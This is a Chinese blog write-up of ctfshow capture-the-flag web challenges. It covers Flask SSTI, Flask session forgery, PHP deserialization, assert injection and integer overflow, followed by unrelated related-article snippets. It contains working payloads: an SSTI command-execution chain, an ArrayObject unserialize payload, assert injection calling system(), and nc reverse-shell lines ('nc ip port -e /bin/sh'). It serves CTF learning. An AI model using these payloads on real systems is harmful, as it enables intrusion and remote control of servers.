当前位置: 首页 > news >正文

ctfshow 愚人杯菜狗杯部分题目(flasksession伪造ssti)

 

目录

<1>愚人杯

(1) easy_signin

(2) easy_ssti(无过滤ssti)

(3) easy_flask(flash-session伪造)

(4) easy_php(C:开头序列化数据)

<2> 菜狗杯

(1) 抽老婆(flask_session伪造)

 (2) 一言既出,驷马难追(intval)

 (3) 传说之下(js控制台)

(4) 算力超群(python eval命令执行)

(5) 茶歇区(整形溢出)

​编辑


<1>愚人杯

(1) easy_signin

img参数 传入 index.php的base64编码

然后复制图片base64编码

解码得到flag

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 12:15:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/$image=$_GET['img'];$flag = "ctfshow{7180858b-b87e-450d-8944-a3d719f92ada}";
if(isset($image)){$image = base64_decode($image);$data = base64_encode(file_get_contents($image));echo "<img src='data:image/png;base64,$data'/>";
}else{$image = base64_encode("face.png");header("location:/?img=".$image);
}

(2) easy_ssti(无过滤ssti)

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)@app.route('/hello/')
def hello(name=None):return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):if "ge" in name:return render_template_string('hello %s' % name)elif "f" not in name:return render_template_string('hello %s' % name)else:return 'Nonononon'
http://4de9f549-c52a-44a4-8839-1e14dddf604e.challenge.ctf.show/hello/{{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__.__builtins__.eval("__import__('os').popen('cd ..;cat *lag').read()")}}

(3) easy_flask(flash-session伪造)

 得到 SECRET_KEY:'S3cr3tK3y'

根据提示:But,there are some things I only want to give to users whose role is admin.

 应该是 需要构造JWT里role为admin身份即可

利用flask_session_cookie_manager3.py 伪造JWT

{"loggedin": true,"role": "admin","username": "a"}

eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJhIn0.ZChNpw.V3E8F9wjt306gFpc0_5hA7bAl9Y 

...... 怎么是假的  不过 也给我们提供了下载路由  下载一下 app.py 成功得到源码

得到了 ........ 隐藏的内容

users = {'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}@app.route('/download/')
def download():if 'loggedin' in session:filename = request.args.get('filename')if 'filename' in request.args:              return send_file(filename, as_attachment=True)return redirect(url_for('login'))@app.route('/hello/')
def hello_world():try:s = request.args.get('eval')return f"hello,{eval(s)}"except Exception as e:print(e)passreturn "hello"

/hello路由存在 eval() 可以命令执行

 __import__('os').system('nc ip port -e /bin/sh')

(4) easy_php(C:开头序列化数据)

<?php 
error_reporting(0);
highlight_file(__FILE__);class ctfshow{public function __wakeup(){die("not allowed!");}public function __destruct(){system($this->ctfshow);}}$data = $_GET['1+1>2'];if(!preg_match("/^[Oa]:[\d]+/i", $data)){unserialize($data);
}?>

正则过滤了 以 O:数字 或者a:数字 开头的,明显 过滤了 平常的类与数组的序列化格式数据

?1%2b1>2=C:11:"ArrayObject":67:{x:i:0;O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";};m:a:0:{}}

之前攻防世界 Web_php_unserialize 就可以通过 O:+7 这种形式绕过 /[oc]:\d+:/i 的正则  但这里因为是php7.几的版本 因此不能利用 O:+7绕过,反序列化不了。 如果是5.几 是可以的

<2> 菜狗杯

(1) 抽老婆(flask_session伪造)

存在 /download路由 可以任意文件下载,之过滤了flag

根据报错 得到当前路径 /app/static/img/

 目录遍历,下载app.py  访问:/download?file=../../app.py

from flask import *
import os
import random
from flag import flag#初始化全局变量
app = Flask(__name__)
app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'@app.route('/', methods=['GET'])
def index():  return render_template('index.html')@app.route('/getwifi', methods=['GET'])
def getwifi():session['isadmin']=Falsewifi=random.choice(os.listdir('static/img'))session['current_wifi']=wifireturn render_template('getwifi.html',wifi=wifi)@app.route('/download', methods=['GET'])
def source(): filename=request.args.get('file')if 'flag' in filename:return jsonify({"msg":"你想干什么?"})else:return send_file('static/img/'+filename,as_attachment=True)@app.route('/secret_path_U_never_know',methods=['GET'])
def getflag():if session['isadmin']:return jsonify({"msg":flag})else:return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})if __name__ == '__main__':app.run(host='0.0.0.0',port=80,debug=True)

可以看见SECRET_KEY : 'tanji_is_A_boy_Yooooooooooooooooooooo!'

当前session为:eyJjdXJyZW50X3dpZmkiOiJhZjE2ZWMxMmZmYTUwZDQ1MGJjYjUyNTQ1NjJjYmY4Zi5qcGciLCJpc2FkbWluIjpmYWxzZX0.ZCgl0g.cvGaUTCW77a8qu5VaFee5OsFyxI 

我们应该利用SECRET_KEY flask 伪造session 为admin

github上有对应项目:flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

 拿伪造好的session 去访问 /secret_path_U_never_know

python3 flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'isadmin': True}"

 (2) 一言既出,驷马难追(intval)

<?php
highlight_file(__FILE__); 
include "flag.php";  
if (isset($_GET['num'])){if ($_GET['num'] == 114514){assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");echo $flag;} 
}

利用断言,可以想办法构造一个为真的值绕过assert 或者直接利用assert达到rce

?num=114514)==1%20or%20system(%27ls%27);%23

?num=114514);(1919810

?num=114514%2b1919810-114514    %2b是+

 (3) 传说之下(js控制台)

看js源码 发现创建了一个 Game对象,里面记录的 分数 score

 在控制台输入: Game.score=2077 然后玩游戏吃一个果子就行

(4) 算力超群(python eval命令执行)

 b变量没有任何校验,直接import os模块,system命令执行反弹shell

__import__('os').system('nc ip port -e /bin/sh')

(5) 茶歇区(整形溢出)

64位的有符号数表示的最大范围是 2^63-1 = 9223372036854775807 19位数

但是此时这里进行 x10 运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出

例如: 932337203685477580

传两次得到flag

相关文章:

ctfshow 愚人杯菜狗杯部分题目(flasksession伪造ssti)

目录 <1>愚人杯 (1) easy_signin (2) easy_ssti(无过滤ssti) (3) easy_flask(flash-session伪造) (4) easy_php(C:开头序列化数据) <2> 菜狗杯 (1) 抽老婆(flask_session伪造) (2) 一言既出&#xff0c;驷马难追(intval) (3) 传说之下&#xff08;js控制台&…...

linux拓展笔记——【补充学习知识点】

文章目录1. ./configure --prefix中的prefix详解1. ./configure --prefix中的prefix详解 源码的安装一般由3个步骤组成&#xff1a;配置(configure)、编译(make)、安装(makeinstall)。 Configure是一个可执行脚本&#xff0c;在待安装的源码路径下使用命令./configure–help输…...

为何银行各岗位之间的薪酬差别如此之大?

银行里的职位种类相对较多&#xff0c;观观整理了5个最常见的职位&#xff0c;看一下你要申请的职位薪资水平到底是怎样的&#xff1f;根据如信银行考试中心发布&#xff1a; 1、客户经理岗 客户经理分为对公客户经理和对私客户经理&#xff0c;他们的主要工作不同&#xff0…...

TensorFlow 深度学习第二版:1~5

原文&#xff1a;Deep Learning with TensorFlow Second Edition 协议&#xff1a;CC BY-NC-SA 4.0 译者&#xff1a;飞龙 本文来自【ApacheCN 深度学习 译文集】&#xff0c;采用译后编辑&#xff08;MTPE&#xff09;流程来尽可能提升效率。 不要担心自己的形象&#xff0c;只…...

微前端micro-app的使用

演示效果 子应用的项目 基应用嵌入子应用效果图 目录 前言 一、微前端是什么&#xff1f; 它主要解决了两个问题&#xff1a; 二、使用步骤 1.安装依赖 2.在入口处引入 3.子应用的路由&#xff08;&#xff09; 4.分配一个路由给子应用&#xff08;重要&#xff09;&#xff0…...

【JUC】Java内存模型之JMM

【JUC】Java内存模型之JMM 文章目录【JUC】Java内存模型之JMM1. 概念2. JMM三大特性2.1 可见性2.2 原子性2.3 有序性3. 多线程对变量的读写过程4. 先行发生原则——happens-before4.1 happens-before八条规则4.1.1 次序规则4.1.2 锁定规则4.1.3 volatile变量规则4.1.4 传递规则…...

Win11快速打开便签和使用技巧分享

Win11快速打开便签和使用技巧分享。Win11系统中为用户提供了一个非常实用的系统组件&#xff0c;就是便签功能&#xff0c;使用这个功能可以帮助我们便捷的进行一些重要内容的记录。那么如何去开启开启这个程序来使用呢&#xff1f;来看看以下的详情分享吧。 详细分享&#xff…...

CSS:横向导航栏

横向导航栏&#xff08;盗版导航栏&#xff0c;B站仿写。&#xff09; 原视频链接 <html><head><title>demo</title><style>*{margin: 0;padding: 0;list-style: none;text-decoration: none;}body{display: flex;justify-content: center;a…...

视频动态库测试及心得

视频动态库测试及心得 这几天一直在弄动态库测试&#xff0c;h给的写好的动态库--预处理模块的库。视频处理项目一部分&#xff0c;需要连接实际情况测试。 需求&#xff1a; 1.把实际相机连接到&#xff0c;并读取实时数据流&#xff0c;保存到双循环链表里面; 2.测试背景建模…...

陶泓达:4.18午间欧盘黄金原油最新精准操作建议!

黄金方面&#xff1a; 黄金消息面解析&#xff1a;周一&#xff08;4月17日&#xff09;美市盘中&#xff0c;美国公布的4月纽约联储制造业指数和4月NAHB房产市场指数均超出预期&#xff0c;提振了美联储在5月继续加息的预期。数据公布之后&#xff0c;美元指数加速上扬&#x…...

环境变量相关知识

目录 目录 谢谢你的阅读&#xff0c;这是对我最大的鼓舞 先说结论&#xff1a; 开始论述&#xff1a; 让我们举个例子 相关指令 创建本地变量 创建环境变量 方法一&#xff1a; 方法二&#xff1a; 删除环境变量 子进程中也有环境变量 第一种&#xff1a; 第二种 …...

如何快速入门ChatGPT

作为一个AI模型&#xff0c;ChatGPT并不需要像人一样“学习”&#xff0c;它已经通过大量的训练数据和算法进行了预训练&#xff0c;可以回答广泛的问题。 然而&#xff0c;如果你想学习如何使用ChatGPT来进行对话或者问答&#xff0c;以下是一些建议&#xff1a; 一、了解Ch…...

Akka定时任务schedule()方法

Akka定时任务schedule()方法 文章目录Akka定时任务schedule()方法什么是Akka定时任务schedule()方法&#xff1f;如何使用Akka定时任务schedule()方法&#xff1f;如何在actor外部获取Scheduler对象为什么需要提供一个隐式的ExecutionContext对象&#xff0c;用于执行定时任务&…...

Python实现处理和分析大规模文本数据集,包括数据清洗、标注和预处理

处理和分析大规模文本数据集,包括数据清洗、标注和预处理,是自然语言处理(NLP)中非常重要的一步。Python 是一种非常流行的编程语言,拥有丰富的 NLP 库和工具,可以帮助我们完成这些任务。以下是一个简单的实现示例,包括数据清洗、标注和预处理: import re import nltk…...

灌区量测水系统

1)灌区量测水 灌区量测水是水资源管理的基础&#xff0c;是推进节水农业和水价改革的重要手段。常规在主要水闸处&#xff0c;监测闸前和闸后水位及闸门开启状态(闸位)&#xff0c;通过实时监测数据&#xff0c;计算过闸流量。要实现全灌区水资源动态配置、精准灌溉&#xff0…...

3.3 泰勒公式

学习目标&#xff1a; 复习微积分基础知识。泰勒公式是微积分的一个重要应用&#xff0c;因此在学习泰勒公式之前&#xff0c;需要复习微积分的基本概念和技能&#xff0c;包括函数的导数和微分、极限、定积分等。可以参考MIT的微积分课程进行复习和加强。 学习泰勒级数和泰勒…...

ubuntu中通过vscode编译调试ORB-SLAM3

为了在orb-slam3的基础上进行二次开发&#xff0c;这几天花了不少精力&#xff0c;终于搞懂怎么在ubuntu系统中像windows里visual studio中一样方便的打断点调试了&#xff0c;在这里把整个过程再重新梳理一下。 1 首先从安装ubuntu 22.04开始 因为是从实验室毕业先辈那里继承…...

阿里版 ChatGPT 突然上线!

转自:纯洁的微笑 其实早本月初&#xff0c;就传出过不少阿里要推出类ChatGPT的消息。 前几天率先流出的天猫精灵“鸟鸟分鸟”脱口秀版GPT&#xff0c;就是基于大模型的“压缩版”&#xff0c;已经以其惊艳表现吸引了众目光。 如今“原版大菜”上桌&#xff0c;自然一点即着&a…...

《Kubernetes部署篇:Ubuntu20.04基于containerd部署kubernetes1.24.12单master集群》

一、架构图 如下图所示&#xff1a; 二、环境信息 主机名K8S版本系统版本内核版本IP地址备注k8s-master-621.24.12Ubuntu 20.04.5 LTS5.15.0-69-generic192.168.1.62master节点k8s-worker-631.24.12Ubuntu 20.04.5 LTS5.15.0-69-generic192.168.1.63worker节点k8s-worker-641…...

MAZDA CX-50没现车怎么办?赶紧去VR看车啊!

爱车一族往往都有过这样的经历&#xff1a;听说某家品牌出了一款心仪的新车&#xff0c;于是一直心心念念想要先睹为快。然而这时候问题就来了&#xff1a;新车从发布到量产上市往往要经历一段过程。没有现车的日子里&#xff0c;就算每天去4S店蹲守也看不到新车。那种心里痒痒…...

NLP-Models-Tensorflow在情感分析中的应用:79种分类器的全面评估

NLP-Models-Tensorflow在情感分析中的应用&#xff1a;79种分类器的全面评估 【免费下载链接】NLP-Models-Tensorflow Gathers machine learning and Tensorflow deep learning models for NLP problems, 1.13 < Tensorflow < 2.0 项目地址: https://gitcode.com/gh_mi…...

国产高性能MCU如何破局?拆解先楫半导体RISC-V芯片的落地逻辑

1. 从展会到产线&#xff1a;拆解先楫半导体高性能MCU的落地逻辑前几天在深圳的Elexcon电子展上逛了一圈&#xff0c;最大的感触是&#xff0c;国产芯片的“高性能”这三个字&#xff0c;终于不再是PPT上的口号&#xff0c;而是能实实在在摸到、测到、甚至直接拿来设计产品的硬…...

8051中断向量冲突与Keil调试问题解决方案

1. 问题现象与背景分析最近在调试基于MCBx51评估板的8051应用程序时&#xff0c;遇到了一个相当诡异的现象&#xff1a;原本在评估版上运行正常的程序&#xff0c;移植到实际硬件后出现了异常行为&#xff0c;甚至导致调试连接中断。最典型的错误提示就是"CONNECTION TO T…...

ARM9老开发板救星:用BusyBox 1.7.0和4.3.2工具链构建根文件系统(避坑实录)

ARM9开发板重生指南&#xff1a;BusyBox 1.7.0与4.3.2工具链的黄金组合 当一块尘封多年的ARM9开发板重新出现在你面前&#xff0c;那种感觉就像考古学家发现了一件珍贵的文物。S3C2440这类老将虽然性能比不上现代Cortex-A系列&#xff0c;但在教学、工业控制等领域依然有不可替…...

潍坊漆面车衣怎么选才合适?

很多潍坊车主在给爱车选漆面保护膜时&#xff0c;都会有这样的困惑&#xff1a;网上信息真假难辨&#xff0c;线下门店推荐又参差不齐&#xff0c;到底该怎么选才合适&#xff1f;其实&#xff0c;选漆面车衣没有想象中那么复杂&#xff0c;关键是要掌握一套通用的判断标准。本…...

LeetCode 每日一题笔记 日期:2026.05.19 题目:2540. 最小公共值

LeetCode 每日一题笔记 0. 前言 日期&#xff1a;2026.05.19题目&#xff1a;2540. 最小公共值难度&#xff1a;简单标签&#xff1a;数组、双指针、哈希表 1. 题目理解 问题描述&#xff1a; 给定两个按非降序排序的整数数组 nums1 和 nums2&#xff0c;请返回它们的最小公共整…...

B站缓存视频转换神器:3分钟让m4s文件重获新生的终极指南

B站缓存视频转换神器&#xff1a;3分钟让m4s文件重获新生的终极指南 【免费下载链接】m4s-converter 一个跨平台小工具&#xff0c;将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾经为B站缓存视频无法…...

手机号逆向查QQ号:3分钟快速上手完整指南,告别繁琐登录验证!

手机号逆向查QQ号&#xff1a;3分钟快速上手完整指南&#xff0c;告别繁琐登录验证&#xff01; 【免费下载链接】phone2qq 项目地址: https://gitcode.com/gh_mirrors/ph/phone2qq 你是否曾忘记自己哪个QQ号绑定了某个手机&#xff1f;或者需要批量验证手机号与QQ的关…...

智能硬件行业现状与未来趋势:技术、市场与盈利三重门解析

1. 项目概述&#xff1a;为什么现在要聊智能硬件&#xff1f;最近几年&#xff0c;身边的朋友、客户&#xff0c;甚至家里的长辈&#xff0c;都在问我同一个问题&#xff1a;“现在做智能硬件还有机会吗&#xff1f;” 这个问题背后&#xff0c;其实反映了一个普遍的行业焦虑&a…...

产品经理必懂的博弈论:如何用帕累托最优和纳什均衡设计用户激励与平台规则

产品经理必懂的博弈论&#xff1a;如何用帕累托最优和纳什均衡设计用户激励与平台规则 在互联网产品的世界里&#xff0c;每天都有无数场看不见的博弈正在上演——司机与乘客的匹配、商家与消费者的互动、创作者与平台的共生。这些看似复杂的商业行为背后&#xff0c;往往遵循着…...